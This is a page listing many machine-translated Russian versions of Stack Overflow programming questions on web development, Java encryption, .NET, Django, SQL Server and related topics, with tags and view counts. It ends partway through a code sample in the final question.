Я уже давно увлекаюсь программированием, интересуюсь разработкой веб-приложений. У меня есть изрядный личный опыт работы с различными не-веб-языками, но никогда по-настоящему не разветвлялся на веб-приложения.

Обычно у меня нет никаких проблем с изучением новых языков или технологий, поэтому я не беспокоюсь о том, с каким языком "best" или веб-стеком нужно работать. Вместо этого я хотел бы знать о любых рекомендуемых ресурсах (книгах, статьях, веб-сайтах, возможно, даже курсах колледжа), которые обсуждают дизайн веб-приложений: управление и оптимизация взаимодействия с сервером, проблемы безопасности, масштабируемость и другие темы, которые относятся к разработке, а не реализации.

Что бы вы порекомендовали разработчику автономного приложения, который хочет перейти на веб-разработку?

language-agnostic   web-applications   resources    

360   0   12:22, 19th August, 2020


Проект Darkstar Реалистичен?

Проект Darkstar был темой ежемесячной встречи JavaSIG в офисах Google в NYC прошлой ночью. Для тех, кто не знает (вероятно, все), Project Darkstar-это платформа для многопользовательских онлайн-игр, которая пытается позаботиться обо всех "hard stuff." основная идея заключается в том, что вы пишете логику своего игрового сервера таким образом, что все операции разбиваются на крошечные задачи. Вы передаете эти задачи в Project Darkstar framework, который обрабатывает их распределение на определенный узел в кластере, любые проблемы параллелизма и, наконец, сохранение данных.

По-видимому, делать такие вещи-это совсем другая проблема для видеоигр, чем для корпоративных приложений. Джим Уолдо, который читал лекцию, утверждает, что MMO игры имеют отношение DB чтения/записи 50/50,, тогда как корпоративные приложения больше похожи на 90% чтения, 10% записи. Он также утверждает, что большинство существующих MMOs хранят все в памяти exlcusively, и только сбрасывают в DB каждые 6 часов so. Это означает, что если сервер выходит из строя, вы потеряете всю работу с момента последнего дампа DB.

Теперь, сам проект звучит действительно круто,но я не думаю, что индустрия примет его. Во-первых, вы должны написать свой код сервера в Java. Клиентский код может быть написан на чем угодно (Джим утверждает, что ActionScript 3 является самым популярным, а затем C++), но серверный материал должен быть Java. Звучит хорошо для меня, но у меня действительно создается впечатление, что все в игровой индустрии ненавидят Java.

Во-вторых, в отличие от других отраслей, где разработчики предпочитают использовать существующие фреймворки и библиотеки, ребята в игровой индустрии, похоже, любят писать все сами. Мало того, они любят переписывать все для каждой новой игры, которую они производят. Все начинает меняться, когда разработчики используют Havok для физики, Unreal Engine 3 в качестве своей платформы и т. д. но по большей части это выглядит так, как будто все еще является собственностью.

Итак, ребята из проекта Darkstar просто теряют свое время? Может ли общая структура, подобная этой, действительно работать для сложных игр с требуемой производительностью? Даже если это действительно работает, готовы ли игровые компании использовать его?

java   concurrency   distributed    

575   7   21:23, 7th August, 2020


Какие-либо советы по получению Rails для запуска с доступом к бэк-энду?

Я содрогаюсь, чтобы спросить, но мой клиент не может предложить никакого другого решения SQL (или SQL-подобного). Я знаю, что доступ имеет некоторые крючки SQL; достаточно ли их для базового ActiveRecord?

Позже:

Я ценю все предложения использовать другие базы данных, но поверьте мне: я пытался убедить их. Существует список "approved", и в нем нет баз данных SQL. Включение чего-то в список может занять больше года, и этот проект будет завершен через три недели.

ruby-on-rails   ruby   ms-access   activerecord    

397   7   19:02, 20th August, 2020


Как лучше всего анализировать аргументы командной строки?

Какой самый простой , лаконичный и гибкий метод или библиотека для разбора аргументов командной строки Python?

python   command-line   command-line-arguments    

542   15   05:01, 7th August, 2020


XML Serialization и унаследованные типы

Следуя из моего предыдущего вопроса , я работал над тем, чтобы моя объектная модель сериализовалась до XML. Но теперь я столкнулся с проблемой (quelle surprise!).

Проблема заключается в том, что у меня есть коллекция, которая имеет абстрактный базовый тип класса, который заполнен конкретными производными типами.

Я подумал, что было бы неплохо просто добавить атрибуты XML ко всем задействованным классам, и все будет замечательно. К сожалению, это не так!

Поэтому я немного покопался в Google и теперь понимаю, почему он не работает. В том, что XmlSerializer на самом деле делает некоторые умные размышления, чтобы сериализовать объекты в/из XML, и поскольку он основан на абстрактном типе, он не может понять, с чем, черт возьми, он говорит . Хорошо.

Я действительно наткнулся на эту страницу на CodeProject, которая выглядит так, как будто она может очень помочь (но все же читать/потреблять полностью), но я подумал, что хотел бы также перенести эту проблему в таблицу StackOverflow, чтобы посмотреть, есть ли у вас какие-либо аккуратные хаки/трюки, чтобы получить это и работать самым быстрым/легким способом.

Одно я должен также добавить, что я не хочу идти по маршруту XmlInclude . Там просто слишком много сцепления с ним, и эта область системы находится в тяжелом развитии, так что это будет настоящая головная боль обслуживания!

c#   xml   inheritance   serialization   xml-serialization    

520   7   16:53, 23rd August, 2020


Разбитые изображения диаграмм в Crystal Reports в веб-приложении

У меня есть коллекция crystal reports, которая содержит диаграммы. Они отлично выглядят локально и при печати, но при просмотре их через веб-приложение с использованием CrystalReportViewer диаграммы отображаются как сломанные изображения.

Просмотр свойств разбитого изображения показывает url как ...CrystalImageHandler.aspx?dynamicimage=cr_tmp_image_8d12a01f-b336-4b8b-b0c7-83d9571d87e4.png .

Я пробовал добавлять

<httpHandlers>
    <add verb="GET" path="CrystalImageHandler.aspx" 
        type="CrystalDecisions.Web.CrystalImageHandler,CrystalDecisions.Web,
        Version=Version=10.5.3700.0, Culture=neutral,
        PublicKeyToken=692fbea5521e1304"/>
</httpHandlers>

к web.config , как было предложено через поиск google, но это не решило мою проблему.

web-applications   crystal-reports    

413   1   09:19, 24th August, 2020


Как я могу использовать шифрование/расшифровку 3DES в Java?

Каждый метод, который я пишу для кодирования строки в Java с использованием 3DES, не может быть расшифрован обратно в исходную строку. Есть ли у кого-нибудь простой фрагмент кода, который может просто кодировать, а затем декодировать строку обратно в исходную строку?

Я знаю, что совершаю очень глупую ошибку где-то в этом коде. Вот с чем я работал до сих пор:

** обратите внимание, что я не возвращаю текст BASE64 из метода encrypt, и я не снимаю кодировку base64 в методе decrypt, потому что я пытался увидеть, не ошибся ли я в части BASE64 головоломки.

public class TripleDESTest {

    public static void main(String[] args) {

        String text = "kyle boon";

        byte[] codedtext = new TripleDESTest().encrypt(text);
        String decodedtext  = new TripleDESTest().decrypt(codedtext);

        System.out.println(codedtext);
        System.out.println(decodedtext);
    }

    public byte[] encrypt(String message) {
        try {
            final MessageDigest md = MessageDigest.getInstance("md5");
            final byte[] digestOfPassword = md.digest("HG58YZ3CR9".getBytes("utf-8"));
            final byte[] keyBytes = Arrays.copyOf(digestOfPassword, 24);
            for (int j = 0,  k = 16; j < 8;)
            {
                keyBytes[k++] = keyBytes[j++];
            }

            final SecretKey key = new SecretKeySpec(keyBytes, "DESede");
            final IvParameterSpec iv = new IvParameterSpec(new byte[8]);
            final Cipher cipher = Cipher.getInstance("DESede/CBC/PKCS5Padding");
            cipher.init(Cipher.ENCRYPT_MODE, key, iv);

            final byte[] plainTextBytes = message.getBytes("utf-8");
            final byte[] cipherText = cipher.doFinal(plainTextBytes);
            final String encodedCipherText = new sun.misc.BASE64Encoder().encode(cipherText);

            return cipherText;    
        }
        catch (java.security.InvalidAlgorithmParameterException e) { System.out.println("Invalid Algorithm"); }
        catch (javax.crypto.NoSuchPaddingException e) { System.out.println("No Such Padding"); }
        catch (java.security.NoSuchAlgorithmException e) { System.out.println("No Such Algorithm"); }
        catch (java.security.InvalidKeyException e) { System.out.println("Invalid Key"); }
        catch (BadPaddingException e) { System.out.println("Invalid Key");}
        catch (IllegalBlockSizeException e) { System.out.println("Invalid Key");}
        catch (UnsupportedEncodingException e) { System.out.println("Invalid Key");}

        return null;
    }

    public String decrypt(byte[] message) {
        try
        {
            final MessageDigest md = MessageDigest.getInstance("md5");
            final byte[] digestOfPassword = md.digest("HG58YZ3CR9".getBytes("utf-8"));
            final byte[] keyBytes = Arrays.copyOf(digestOfPassword, 24);
            for (int j = 0,  k = 16; j < 8;)
            {
                keyBytes[k++] = keyBytes[j++];
            }

            final SecretKey key = new SecretKeySpec(keyBytes, "DESede");
            final IvParameterSpec iv = new IvParameterSpec(new byte[8]);
            final Cipher decipher = Cipher.getInstance("DESede/CBC/PKCS5Padding");
            decipher.init(Cipher.DECRYPT_MODE, key, iv);

            //final byte[] encData = new sun.misc.BASE64Decoder().decodeBuffer(message);
            final byte[] plainText = decipher.doFinal(message);

            return plainText.toString();            
        }
        catch (java.security.InvalidAlgorithmParameterException e) { System.out.println("Invalid Algorithm"); }
        catch (javax.crypto.NoSuchPaddingException e) { System.out.println("No Such Padding"); }
        catch (java.security.NoSuchAlgorithmException e) { System.out.println("No Such Algorithm"); }
        catch (java.security.InvalidKeyException e) { System.out.println("Invalid Key"); }
        catch (BadPaddingException e) { System.out.println("Invalid Key");}
        catch (IllegalBlockSizeException e) { System.out.println("Invalid Key");}
        catch (UnsupportedEncodingException e) { System.out.println("Invalid Key");}     
        catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

        return null;
    }
}

java   encryption   3des    

474   5   08:15, 27th August, 2020


Связывание ключевых слов источника и поиска с созданием учетной записи

В рамках процесса регистрации для моего онлайн-приложения я думаю о отслеживании источника и / или ключевых слов поиска, используемых для доступа к моему сайту. Это позволит мне увидеть, что реклама работает и откуда с несколько более тонким зерном, чем Google Analytics.

Я предполагаю, что могу установить какой-то файл cookie с этой информацией, когда люди попадают на мой сайт, но я не уверен, как я буду его получать. Это вообще возможно?

Я использую Rails, но независимое от языка решение (или даже просто указатели на то, где найти эту информацию) будет оценено!

ruby-on-rails   cookies   seo    

374   1   08:05, 1st August, 2020


Как я могу регистрировать необнаруженные исключения в PHP?

Я выяснил, как преобразовать ошибки в исключения, и я хорошо отображаю их, если они не пойманы, но я не знаю, как их правильно регистрировать. Просто записать их в файл не будет полезно, не так ли? И вы бы рискнули получить доступ к базе данных, когда вы еще не знаете, что вызвало исключение?

php   exception   error-handling   error-logging    

1554   7   04:29, 8th August, 2020


Утечек памяти .NET

Назовите все возможные способы, с помощью которых мы можем получить утечку памяти .NET?

Я знаю о двух из них:

  1. Неправильно не регистрируются обработчики/делегаты событий .
  2. Отказ от использования динамических дочерних элементов управления в формах Windows:

Пример:

// Causes Leaks  
Label label = new Label();  
this.Controls.Add(label);  
this.Controls.Remove(label);  

// Correct Code  
Label label = new Label();  
this.Controls.Add(label);  
this.Controls.Remove(label);  
label.Dispose();

Обновление: идея состоит в том, чтобы перечислить общие подводные камни, которые не слишком очевидны (например, выше). Обычно считается, что утечки памяти не являются большой проблемой из-за сборщика мусора. Не так, как это было раньше в C++.


Отличная дискуссия, ребята, но позвольте мне уточнить... по определению, если в .NET не осталось ссылки на объект, он будет в какой-то момент собран как мусор. Так что это не способ вызвать утечку памяти.

В управляемой среде я бы счел это утечкой памяти, если бы у вас была непреднамеренная ссылка на какой-либо объект, о котором вы не знаете (отсюда два примера в моем вопросе).

Итак, каковы различные возможные способы, которыми может произойти такая утечка памяти?

.net   optimization   memory-leaks    

473   14   09:49, 17th August, 2020


Как вы тестируете веб-приложения, размещенные удаленно?

Я знаком с TDD и использую его как на своем рабочем месте, так и в домашних веб-приложениях. Однако каждый раз, когда я использовал TDD в веб-приложении, у меня была роскошь иметь полный доступ к веб-серверу. Это означает, что я могу обновить сервер, а затем запустить модульные тесты непосредственно с сервера. Мой вопрос: если вы используете сторонний веб-хост, как вы запускаете свои модульные тесты на них?

Вы можете возразить, что если ваше приложение хорошо спроектировано, а процесс сборки надежен и автоматизирован, то запуск модульных тестов на вашем производственном сервере не требуется, но лично мне нравится спокойствие, зная, что все по-прежнему "green" после крупного обновления.


Для всех, кто ответил с "just test before you deploy" и "разве у вас нет промежуточного сервера?- Я понимаю, к чему ты клонишь. У меня есть промежуточный сервер и настроенный процесс CI. Мои модульные тесты выполняются, и я убеждаюсь, что все они проходят перед обновлением до производства.

Я понимаю, что в идеальном мире меня бы это не волновало. Но я уже видел, как это происходит. Если файл не включен в обновление или сценарий SQL не запущен, то при выполнении модульных тестов эффекты сразу же проявляются, но могут оставаться незамеченными в течение некоторого времени без них.

Я спрашиваю здесь, есть ли какой-либо способ, хотя бы для удовлетворения моих собственных навязчивых желаний, запустить модульный тест на сервере, на котором я не могу устанавливать приложения или удаленно (например, тот, к которому у меня будет только доступ FTP для обновления файлов)?

unit-testing   web-applications   tdd    

427   5   11:01, 5th August, 2020


Определить, если мой PC поддерживает виртуализацию аппаратного обеспечения

Как вообще можно определить, поддерживает ли a PC аппаратную виртуализацию? Я использую VirtualPC для настройки параллельных тестовых сред, и мне бы понравилось немного скорости boost.

virtualization   virtual-pc    

464   8   07:29, 18th August, 2020


Каков наилучший способ создания развертываний ClickOnce

Наша команда разрабатывает распределенные приложения winform. Мы используем ClickOnce для deployment и очень довольны этим.

Однако мы обнаружили, что болевая точка с ClickOnce заключается в создании развертываний. У нас есть стандартные среды dev/test/production, и мы должны иметь возможность создавать развертывания для каждого из них, которые устанавливают и обновляют отдельно друг от друга. Кроме того, мы хотим контролировать, какие сборки будут развернуты. Просто потому, что assembly был скомпилирован, не означает, что мы хотим его развернуть.

Очевидным первым выбором для создания развертываний является Visual Studio. Однако VS действительно не решает заявленные проблемы. Следующий на очереди-инструмент SDK, маг. Маг работает OK, но создание развертываний довольно утомительно, и мы не хотим, чтобы каждый разработчик имел наш сертификат подписи кода и пароль.

В итоге мы запустили наше собственное приложение deployment, которое использует версию командной строки Mage для создания файлов манифеста ClickOnce.

Я доволен нашим текущим решением, но похоже, что будет общепромышленный, принятый подход к этой проблеме. Есть?

winforms   deployment   clickonce    

470   2   22:48, 15th August, 2020


Как удалить недопустимые шестнадцатеричные символы из источника данных на основе XML до построения XmlReader или XPathDocument, использующего эти данные?

Существует ли какой-либо простой/общий способ очистить источник данных на основе XML перед использованием его в XmlReader, чтобы я мог изящно использовать данные XML, которые не соответствуют шестнадцатеричным ограничениям символов, установленным на XML?

Примечание:

  • Решение должно обрабатывать XML источники данных, использующие символы кодировки, отличные от UTF-8, например: указание кодировки символов на декларация документа XML. Нет искажение кодировки символов источник при зачистке недопустим шестнадцатеричные символы были а главное препятствие.
  • Удаление недопустимых шестнадцатеричных символов должно удалять только шестнадцатеричные кодированные значения, так как часто можно найти значения href в данных, которые содержат строку, которая будет соответствовать строке шестнадцатеричного символа.

Фон:

Мне нужно использовать источник данных на основе XML, который соответствует определенному формату (например, Atom или каналы RSS), но я хочу иметь возможность использовать источники данных, которые были опубликованы и содержат недопустимые шестнадцатеричные символы в спецификации XML.

В .NET, если у вас есть поток, представляющий источник данных XML, а затем попытаться проанализировать его с помощью XmlReader и/или XPathDocument, возникает исключение из-за включения недопустимых шестнадцатеричных символов в данные XML. Моя текущая попытка решить эту проблему состоит в том, чтобы проанализировать поток как строку и использовать регулярное выражение для удаления и/или замены недопустимых шестнадцатеричных символов, но я ищу более эффективное решение.

c#   xml   validation   encoding    

703   14   09:48, 23rd August, 2020


Как вы преобразуете двоичные данные в строки и обратно в Java?

У меня есть двоичные данные в файле, которые я могу считывать в массив байтов и обрабатывать без проблем. Теперь мне нужно отправить части данных по сетевому соединению в виде элементов в документе XML. Моя проблема заключается в том, что когда я преобразую данные из массива байтов в строку и обратно в массив байтов, данные повреждаются. Я проверил это на одной машине, чтобы изолировать проблему с преобразованием строки, поэтому теперь я знаю, что она не повреждается парсером XML или сетевым транспортом.

Вот что у меня сейчас есть

byte[] buffer = ...; // read from file
// a few lines that prove I can process the data successfully
String element = new String(buffer);
byte[] newBuffer = element.getBytes();
// a few lines that try to process newBuffer and fail because it is not the same data anymore

Кто-нибудь знает, как конвертировать двоичный код в строку и обратно без потери данных?

Ответил: Спасибо, Сэм. Я чувствую себя полным идиотом. Я получил этот ответ вчера, потому что мой парсер SAX жаловался. По какой-то причине, когда я столкнулся с этой, казалось бы, отдельной проблемой, мне не пришло в голову, что это был новый симптом той же самой проблемы.

EDIT: просто для полноты картины я использовал класс Base64 из пакета кодека Apache Commons Для решения этой проблемы.

java   serialization    

572   4   20:53, 13th August, 2020


Вызов веб-метода интерфейса Project Server из установщика msi

Я использую проект установки Visual Studio web для установки приложения, которое расширяет функциональные возможности Project Server. Я хочу вызвать метод из PSI (интерфейс Project Server) из одного из пользовательских действий моего проекта установки, но каждый раз получаю ошибку "401 Unauthorized access". Что я должен сделать, чтобы получить доступ к PSI? Тот же код, при использовании из консольного приложения, работает без каких-либо проблем.

windows-installer   methods   action    

437   2   17:32, 15th August, 2020


Найти символические ссылки с Python

Если я вызываю os.stat() на сломанном symlink, python создает исключение OSError . Это делает его полезным для поиска их. Однако есть несколько других причин, по которым os.stat() может вызвать подобное исключение. Есть ли более точный способ обнаружения сломанной symlinks с Python под Linux?

python   linux   symlink    

550   7   02:33, 2nd August, 2020


Автоматизированное Тестирование Веб-Сервисов

Я хотел бы сделать некоторое интеграционное тестирование веб-службы из NUnit или MBUnit. Я еще не углублялся в это слишком глубоко, но я почти уверен, что мне нужно будет раскрутить WebDev.WebServer.exe внутри "unit test", чтобы сделать это. (Я знаю, что это не совсем юнит-тест).

Да, я могу тестировать базовые объекты, которые использует веб-служба, самостоятельно (что я и делаю), но в этом случае мне интересно проверить, что прокси-серверы работают и обрабатываются должным образом и т. д.

Какой-нибудь совет?

web-services   unit-testing   integration-testing    

487   6   09:50, 19th August, 2020


VBScript/IIS - как автоматически установить версию ASP.NET для конкретного веб-сайта

Мне нужно написать сценарий создания пулов приложений и веб-сайтов на IIS 6.0. Я смог создать их с помощью adsutil.vbs и iisweb.vbs, но не знаю, как установить версию ASP.NET для сайтов, которые я только что создал, в 2.0.50727.0.

В идеале я хотел бы adsutil.vbs обновить метабазу. Как мне это сделать?

asp.net   iis   vbscript   sysadmin   administration    

459   2   11:28, 14th August, 2020


обновление auto_now DateTimeField в родительской модели w/ Django

У меня есть две модели: сообщение и вложение. Каждое вложение прикрепляется к определенному сообщению, используя ForeignKey в модели вложения. Обе модели имеют auto_now DateTimeField под названием updated. Я пытаюсь сделать так, чтобы при сохранении любого вложения оно также устанавливало обновленное поле в связанном сообщении на now. Вот мой код:

def save(self):
    super(Attachment, self).save()
    self.message.updated = self.updated

Будет ли это работать, и если вы можете объяснить мне, почему? Если нет, то как я должен это сделать?

python   database   django   orm    

545   3   09:14, 24th August, 2020


Есть ли способ получить экземпляр System.Configuration.Configuration на основе произвольного xml?

Я пытаюсь выполнить модульный тест пользовательского ConfigurationSection, который я написал, и я хотел бы загрузить некоторую произвольную конфигурацию XML в System.Configuration.Configuration для каждого теста (вместо того, чтобы помещать тестовую конфигурацию xml в файл Tests.dll.config. То есть, я хотел бы сделать что-то вроде этого:

Configuration testConfig = new Configuration("<?xml version=\"1.0\"?><configuration>...</configuration>");
MyCustomConfigSection section = testConfig.GetSection("mycustomconfigsection");
Assert.That(section != null);

Однако, похоже , что ConfigurationManager даст вам только экземпляры конфигурации, связанные с файлом EXE или конфигурацией машины. Есть ли способ загрузить произвольный XML в экземпляр конфигурации?

c#   .net   testing   configuration   configurationmanager    

427   3   22:35, 7th August, 2020


Хранение сведений о пользователе, вошедшем в систему

При создании веб-приложения, и допустим, у вас есть объект пользователя, обозначающий одного пользователя, как вы думаете, это лучший способ сохранить, что пользователь вошел в систему?

Два способа, о которых я думал, были:

  • Сохраненный идентификатор базы данных Пользователя в переменной сеанса
  • Сохраненный весь объект пользователя в переменной сеанса

Любые лучшие предложения, любые проблемы с использованием вышеуказанных способов? Возможно, проблемы безопасности или проблемы с памятью и т. д.

web-applications    

441   8   08:28, 7th August, 2020


Не удается добавить имя Входа сервера Sql

Когда я пытаюсь создать логин сервера SQL, говоря:

CREATE LOGIN [ourdomain\SQLAccessGroup] FROM WINDOWS;

Я получаю эту ошибку

Принципал сервера " ourdomain\SQLAccessGroup " уже существует.

Однако, когда я попробую этот код

DROP LOGIN [ourdomain\SQLAccessGroup]

Я получаю эту ошибку

Невозможно удалить имя Входа 'ourdomain\SQLAccessGroup', так как оно не существует или у вас нет разрешения.

Пользователь, который я выполняю этот код как sysadmin. Кроме того, пользователь ourdomain\SQLAccessGroup не отображается в этом запросе

select * from sys.server_principals

У кого-нибудь есть какие-нибудь идеи?

sql-server   sql-server-2005   administration    

409   3   00:09, 11th August, 2020


Самый эффективный способ объединения строк?

Каков наиболее эффективный способ объединения строк?

c#   .net   string   optimization    

452   17   21:55, 26th August, 2020


Инструменты FOSS для разработки Flash

Я изучаю некоторые разработки для Flash. Нужно ли мне покупать дорогие коммерческие инструменты или есть какие-то инструменты FOSS, с которыми я могу начать работу? Очевидно, что есть много инструментов там, но они достаточно хороши, чтобы на самом деле получить работу? Что бы я пропустил, избегая коммерческих или официальных инструментов?

flash   open-source   actionscript    

397   3   19:27, 8th August, 2020


Visual Web Developer (Express): настройка корня документа для среды разработки

Я разрабатываю сайт в Visual Web Dev Express, и когда я run/debug,, я хотел бы иметь возможность установить корень документа моего приложения, чтобы я мог использовать более безопасные пути, такие как "/css/style.css "вместо"css/style.css". Как мне это сделать?

c#   asp.net   visual-web-developer   server-configuration    

365   3   22:14, 19th August, 2020


Страница общей коллекции без Linq

У меня есть объект типа System.Generic.Collections.List(Of MyCustomClass).

Учитывая целочисленные varaibles pagesize и pagenumber, как я могу собрать только одну страницу объектов MyCustomClass ?

Вот что у меня есть. Как я могу улучшить его?

'my given collection and paging parameters
Dim AllOfMyCustomClassObjects As System.Collections.Generic.List(Of MyCustomClass) = GIVEN
Dim pagesize As Integer = GIVEN
Dim pagenumber As Integer = GIVEN

'collect current page objects
Dim PageObjects As New System.Collections.Generic.List(Of MyCustomClass)
Dim objcount As Integer = 1
For Each obj As MyCustomClass In AllOfMyCustomClassObjects
If objcount > pagesize * (pagenumber - 1) And count <= pagesize * pagenumber Then
    PageObjects.Add(obj)
End If
objcount = objcount + 1
Next

'find total page count
Dim totalpages As Integer = CInt(Math.Floor(objcount / pagesize))
If objcount Mod pagesize > 0 Then
totalpages = totalpages + 1
End If

vb.net   collections   paging    

445   2   09:24, 19th August, 2020


Как создать таблицу сопоставления в среде SQL Server Management Studio?

Я изучаю дизайн таблиц в SQL, и мне интересно, как создать таблицу сопоставления, чтобы установить связь many-to-many между двумя другими таблицами?

Я думаю, что таблица сопоставления нуждается в двух первичных ключах - но я не вижу, как создать это, поскольку кажется, что может быть только 1 столбец первичного ключа?

Я использую функцию диаграмм баз данных для создания своих таблиц и связей.

sql-server   sql-server-2005   entity-relationship    

411   1   01:06, 26th August, 2020


Какие фреймворки внедрения зависимостей .NET стоит изучить?

Какие фреймворки внедрения зависимостей C#/.NET стоит изучить? А что уж говорить об их сложности и скорости.

c#   .net   dependency-injection   inversion-of-control    

538   12   06:21, 27th August, 2020


В C++ конструктор и деструктор могут быть встроенными функциями?

VC++ делает функции, которые реализуются в рамках объявления класса встроенными функциями.

Если я объявляю класс Foo следующим образом, то являются ли CONSTRUCTOR и DESTRUCTOR встроенными функциями?

class Foo 
{
    int* p;
public:
    Foo() { p = new char[0x00100000]; }
    ~Foo() { delete [] p; }
};

{
    Foo f;
    (f);
}

c++   constructor   destructor    

349   5   17:03, 13th August, 2020


Как решить семантические проблемы с веб-сайтами на основе тегов

Веб-сайты на основе тегов часто страдают от деликатности языка, такого как синонимы, омонимы и т. д. Для программистов, ищущих информацию, скажем, о переполнении стека, конкретными примерами являются:

  • Subversion или SVN (или svn, с чувствительными к регистру тегами)
  • .
  • NET или Mono
  • [Добавит еще]

Проблема в том, что мы хотим сохранить нашу деликатность языка и заставить машину работать с ним как можно лучше.

Сайт, подобный del.icio.us, видит, что его база тегов сильно растет, что, вероятно, препятствует использованию или поиску. Поиск записей, связанных с SVN, вероятно, перечислит большинство записей с тегами subversion и svn, но я могу думать о трех проблемах:

  1. Поиск является неполным, так как многие записи могут не иметь обоих тегов (которые являются 'synonyms').
  2. Поиск менее полезен, так как Q / A часто приводит к большему количеству Qs! Особенно для новичков по данной теме.
  3. Пометка вопроса (Примечание: или ответ отдельно, звучит полезно) становится философской: "правильно ли я пометил?'

Одним из способов решения этих проблем является создание семантических связей между тегами, чтобы subversion и SVN автоматически связывались системой, а не плохими пользователями.

Это подход, который звучит good/feasible/attractive/useful? Как реализовать его эффективно?

tags   folksonomy    

388   7   02:01, 23rd August, 2020


Указание перечисления mySQL в модели Django

Как мне определить и использовать ENUM в модели Django?

python   mysql   django   django-models   enums    

583   8   21:40, 9th August, 2020


Поддерживает ли Hostmonster Django

Я знаю, что hostmonster позволяет Python. Кто-нибудь успешно запустил Django там? Есть проблемы?

django   shared-hosting   hostmonster    

488   4   13:58, 19th August, 2020


Базы Данных Модульного Тестирования

Этим летом я разрабатывал базовое приложение ASP.NET/SQL Server CRUD, и модульное тестирование было одним из требований. Я столкнулся с некоторыми неприятностями, когда пытался протестировать их с помощью базы данных. Насколько я понимаю, модульные тесты должны быть:

  • не имеющий гражданства
  • независимые друг от друга
  • повторяемость с теми же результатами т. е. отсутствие постоянных изменений

Эти требования, по-видимому, противоречат друг другу при разработке базы данных. Например, я не могу проверить Insert(), не убедившись, что вставляемые строки еще не существуют, поэтому мне нужно сначала вызвать Delete(). Но что, если их там еще нет? Тогда мне нужно было бы сначала вызвать функцию Exists().

Мое окончательное решение включало очень большие функции настройки (фу!) и пустой тестовый случай, который будет запущен первым и укажет, что установка выполнена без проблем. Это принесение в жертву независимости испытуемых при сохранении их безгражданства.

Другое решение, которое я нашел, заключается в том, чтобы обернуть вызовы функций в транзакцию, которая может быть легко откатана, как у Роя Ошерова XtUnit . Это работа, но она включает в себя другую библиотеку, другую зависимость, и это кажется немного слишком тяжелым решением для данной проблемы.

Итак, что же сделало сообщество SO, столкнувшись с этой ситуацией?


tgmdbm сказал:

Вы обычно используете свой любимый автоматизированная система модульного тестирования для выполните интеграционные тесты, которые являются почему некоторые люди путаются, но они не следуйте тем же правилам. Вы разрешено вовлекать бетон реализация многих ваших классов (потому что они прошли юнит-тестирование). Вы испытываете, как ваш бетон классы взаимодействуют друг с другом и вместе с базой данных .

Так что, если я правильно прочитал это, на самом деле нет никакого способа эффективно провести модульное тестирование уровня доступа к данным. Или же "unit test" уровня доступа к данным будет включать тестирование, скажем, команд SQL/, генерируемых классами, независимо от фактического взаимодействия с базой данных?

database   unit-testing   transactions   xtunit    

484   9   09:10, 17th August, 2020


Можно ли совместно использовать транзакцию между приложением .Net и объектом COM+?

Некоторое время назад я провел несколько тестов и так и не понял, как это сделать.

Ингредиент:

  • COM + транзакционный объект (разработан в VB6)
  • .Net веб-приложение (с транзакцией) в IIS что...
    выполняет вызов компонента COM+
    обновление строки в базе данных SQL

Тестирование :

Запустите приложение .Net и принудительно создайте исключение.

Результат :

Обновление, выполненное из приложения .Net, откатывается назад.
Обновление, выполненное объектом COM+, не откатывается.

Если я вызываю объект COM+ со старой страницы ASP, откат срабатывает.

Я знаю, что некоторые люди могут думать: "что?! COM+ и .Net вы, должно быть, сошли с ума!", но есть некоторые места в этом мире, где все еще есть много компонентов COM+. Мне просто было любопытно, сталкивался ли кто-нибудь с этим и выяснил ли ты, как это сделать.

.net   database   transactions   com+    

442   2   06:03, 18th August, 2020


Adobe AIR: обработка объектов JSON с сервера

У меня есть скрипт, который извлекает объекты с удаленного сервера через вызов Ajax. Сервер возвращает объекты в нотации JSON.

Однако, в Adobe AIR, существует ограничение на использование eval() по соображениям безопасности. Поэтому я могу получать ответы с удаленного сервера, но не могу превратить их обратно в объекты JavaScript. Есть ли обходной путь для этой проблемы? Я хотел бы использовать JSON для моих JavaScript объектов, так как он может быть использован почти сразу.

Примечание: Я понимаю последствия безопасности для форсирования проблемы, но я буду делать быструю разработку приложений для конкуренции, поэтому программа будет только быстрым прототипом и не будет использоваться для производственных целей. Тем не менее, было бы здорово, если бы была лучшая альтернатива тому, что я пытаюсь сделать сейчас


Обновление:

Спасибо Тео и jsight за их ответы;

Одна важная вещь, которую я узнал сегодня, заключается в том, что я действительно могу использовать библиотеки ActionScript, используя

<script src="lib/myClasses.swf" type="application/x-shockwave-flash"></script>
тег расширен на Adobe AIR. Проверьте ссылку Тео для получения более подробной информации!

javascript   ajax   json   air    

439   5   11:46, 24th August, 2020


Пишете ли вы исключения для конкретных вопросов или общие исключения?

У меня есть код, который дает идентификатор пользователя утилите, которая затем отправляет email этому пользователю.

emailUtil.sendEmail(userId, "foo");

public void sendEmail(String userId, String message) throws MailException {
    /* ... logic that could throw a MailException */
}

MailException может быть брошен по ряду причин, проблем с адресом email, проблем с шаблоном почты и т.д.

Мой вопрос заключается в следующем: вы создаете новый тип исключения для каждого из этих исключений, а затем обрабатываете их по отдельности или создаете один MailException, а затем сохраняете что-то в исключении (что-то машиночитаемое, а не текст описания), что позволяет нам делать разные вещи на основе того, что на самом деле произошло.

Edit: как уточнение, исключения не предназначены для журналов, а что-нет, это относится к тому, как код реагирует на них. Чтобы продолжить работу с примером mail, предположим, что когда мы отправляем почту, она может потерпеть неудачу, потому что у вас нет адреса email, или потому что у вас нет действительного адреса email, или она может потерпеть неудачу.. и т.д.

Мой код хотел бы реагировать по-разному на каждую из этих проблем (в основном путем изменения сообщения, возвращенного клиенту, но и фактической логики).

Было бы лучше иметь реализацию исключения для каждой из этих проблем или одно зонтичное исключение, которое имело бы что-то внутреннее (например, перечисление), что позволило бы коду различать, какая проблема была.

c#   java   exception    

396   11   21:06, 1st October, 2020


Как вы передаете сообщения/ошибки уровня обслуживания на более высокие уровни с помощью MVP?

В настоящее время я пишу приложение ASP.Net от UI вниз. Я внедряю архитектуру MVP, потому что я устал от Winforms и хотел чего-то, что имело лучшее разделение проблем.

Таким образом, с MVP презентатор обрабатывает события, вызванные представлением. Вот некоторый код, который у меня есть, чтобы иметь дело с созданием пользователей:

public class CreateMemberPresenter
{
    private ICreateMemberView view;
    private IMemberTasks tasks;

    public CreateMemberPresenter(ICreateMemberView view) 
        : this(view, new StubMemberTasks())
    {
    }

    public CreateMemberPresenter(ICreateMemberView view, IMemberTasks tasks)
    {
        this.view = view;
        this.tasks = tasks;

        HookupEventHandlersTo(view);
    }

    private void HookupEventHandlersTo(ICreateMemberView view)
    {
        view.CreateMember += delegate { CreateMember(); };
    }

    private void CreateMember()
    {
